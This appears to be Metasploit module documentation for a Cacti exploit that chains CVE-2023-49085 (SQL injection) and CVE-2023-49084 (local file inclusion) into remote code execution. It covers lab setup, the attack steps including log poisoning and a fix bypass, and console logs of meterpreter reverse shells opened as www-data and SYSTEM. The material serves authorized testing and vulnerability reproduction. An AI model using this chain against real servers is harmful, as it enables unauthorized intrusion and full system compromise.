## Vulnerable Application

This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section.

The module implements a `check` method that makes sure `pollers.php` is accessible. It also tries to run a basic time-cased SQL injection that will confirm if the application is vulnerable. It also bypass the [fix](https://github.com/Cacti/cacti/commit/4beb66dbe2c571c3216834c029bde2e951b401cf#diff-60434fdc6c83f03e69846c2640319eeee39da1b477e76e1ca0dca0519bbc9651) added in version 1.2.25.

The exploit will do the following:
- Login with the provided credentials
- Perform a series of SQL injections to:
  - backup the current log file path and add a new path to the `settings` table
  - insert the new log file path to the External Links table (`external_links`)
  - add permission to access this external link to the current user (`user_auth_realm`)
  - Poison the log file to add the payload stager
- Trigger the payload by accessing the external link page (`link.php)`
- Cleanup the SQL tables that were modified to their original states
- Remove the new log file that contains the stager

### Docker installation of Cacti version 1.2.25
- Create the following files (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)):
  - `docker-compose.yml`:
    ```
    version: '2'
    services:
      web:
        build: ./cacti
        ports:
         - "8080:80"
        depends_on:
         - db
        entrypoint:
         - bash
         - /entrypoint.sh
        volumes:
         - ./entrypoint.sh:/entrypoint.sh
        command: apache2-foreground
      db:
       image: mysql:5.7
       environment:
        - MYSQL_ROOT_PASSWORD=root
        - MYSQL_DATABASE=cacti
    ```
  - `entrypoint.sh`:
    ```
    #!/bin/bash
    set -ex

    wait-for-it db:3306 -t 300 -- echo "database is connected"
    if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
        mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql
        mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
        mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
    fi

    chown www-data:www-data -R /var/www/html
    # first arg is `-f` or `--some-option`
    if [ "${1#-}" != "$1" ]; then
      set -- apache2-foreground "$@"
    fi

    exec "$@"
    ```
- Create a `./cacti/` directory with `mkdir cacti`
- Add the following files in the `./cacti/` folder (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/base/cacti/1.2.22):
  - `Dockerfile`:
    ```
    FROM php:7.4-apache

    RUN apt-get update && \
        apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \
                wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev

    RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\
        docker-php-ext-configure intl &&\
        docker-php-ext-configure pcntl --enable-pcntl &&\
        docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext

    RUN mkdir /var/www/html/cacti &&\
        wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.25.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1

    COPY config.php /var/www/html/cacti/include/config.php
    COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini
    ```
  - `cacti.ini`
    ```
    display_errors=off
    memory_limit=512M
    date.timezone=UTC
    max_execution_time=120
    ```
  - `config.php`
    ```
    <?php
    $database_type     = 'mysql';
    $database_default  = 'cacti';
    $database_hostname = 'db';
    $database_username = 'root';
    $database_password = 'root';
    $database_port     = '3306';
    $database_retries  = 5;
    $database_ssl      = false;
    $database_ssl_key  = '';
    $database_ssl_cert = '';
    $database_ssl_ca   = '';
    $database_persist  = false;
    $poller_id = 1;
    $url_path = '/cacti';
    $cacti_session_name = 'Cacti';
    $cacti_db_session = false;
    $disable_log_rotation = false;
    ```
- Run `docker-compose up`
- Access http://127.0.0.1:8080
- Login with the `admin` user (password: `admin`)
- Follow the installation steps (accept every default settings and ignore the pre-installation checks suggestions)

Note that other version can be installed this way by changing the `tar` file name in `Dockerfile` (`cacti-1.2.25.tar.gz`).


### Cacti on Windows
Download and run a Cacti installer from [here](https://files.cacti.net/cacti/windows/Archive/). The `admin` password should be put in a file called `Cacti-Passwords.txt` by the installer, which is in the same location the installer was run.
Follow the same installation steps as for the Docker installation.


### Setup a new user
- Login with the `admin` user (password: `admin`)
- Go to `Configuration` > `Users`
- Click on the `+` sign
- Enter the `User Name`, `Password` and check the `Enabled` option.
- Click `Create`
- Go to the `Permissions` tab and set the `Sites/Devices/Data` permission in `General Administration`
- Click `Save`


## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use exploit/multi/http/cacti_pollers_sqli_rce`
1. Do: `set target <target>`
1. Do: `set payload <payload>`
1. Do: `run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>`
1. You should get a shell.

## Options

### USERNAME
The user to login with (default `admin`).

### PASSWORD
The password to login with (default `admin`)

### TARGETURI
The base URI of Cacti (default `/cacti`).


## Scenarios

### Cacti version 1.2.25 on Docker installation
```
msf exploit(multi/http/cacti_pollers_sqli_rce) > set target 0
target => 0
msf exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=127.0.0.1 rport=8080 lhost=192.168.144.1 username=msfuser password=12345678

[*] Started reverse TCP handler on 192.168.144.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.25
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti520.log) to the `settings` table
[*] Inserting the log file path `log/cacti520.log` to the external links table
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] Logging again to apply new settings and permissions
[*] Getting the CSRF token to login
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Poisoning the log
[*] Triggering the payload
[*] Sending stage (3045380 bytes) to 192.168.144.1
[*] Cleaning up log file
[*] Meterpreter session 8 opened (192.168.144.1:4444 -> 192.168.144.1:51181) at 2024-01-29 22:00:19 +0100
[*] Cleaning up external link using SQLi
[*] Cleaning up permissions using SQLi
[*] Cleaning up the log path in `settings` table using SQLi

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : 172.25.0.3
OS           : Debian 11.5 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```

### Cacti version 1.2.24 on Windows 11
```
msf exploit(multi/http/cacti_pollers_sqli_rce) > set target 1
target => 1
msf exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=192.168.144.134 lhost=192.168.144.1 username=msfuser password=12345678

[*] Started reverse TCP handler on 192.168.144.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.24
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti715.log) to the `settings` table
[*] Inserting the log file path `log/cacti715.log` to the external links table
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] Logging again to apply new settings and permissions
[*] Getting the CSRF token to login
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Poisoning the log
[*] Triggering the payload
[*] Sending stage (200774 bytes) to 192.168.144.134
[*] Cleaning up log file
[*] Meterpreter session 7 opened (192.168.144.1:4444 -> 192.168.144.134:64144) at 2024-01-29 21:58:59 +0100
[*] Cleaning up external link using SQLi
[*] Cleaning up permissions using SQLi
[*] Cleaning up the log path in `settings` table using SQLi

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-26CQRHP
OS              : Windows 11 (10.0 Build 22000).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
```
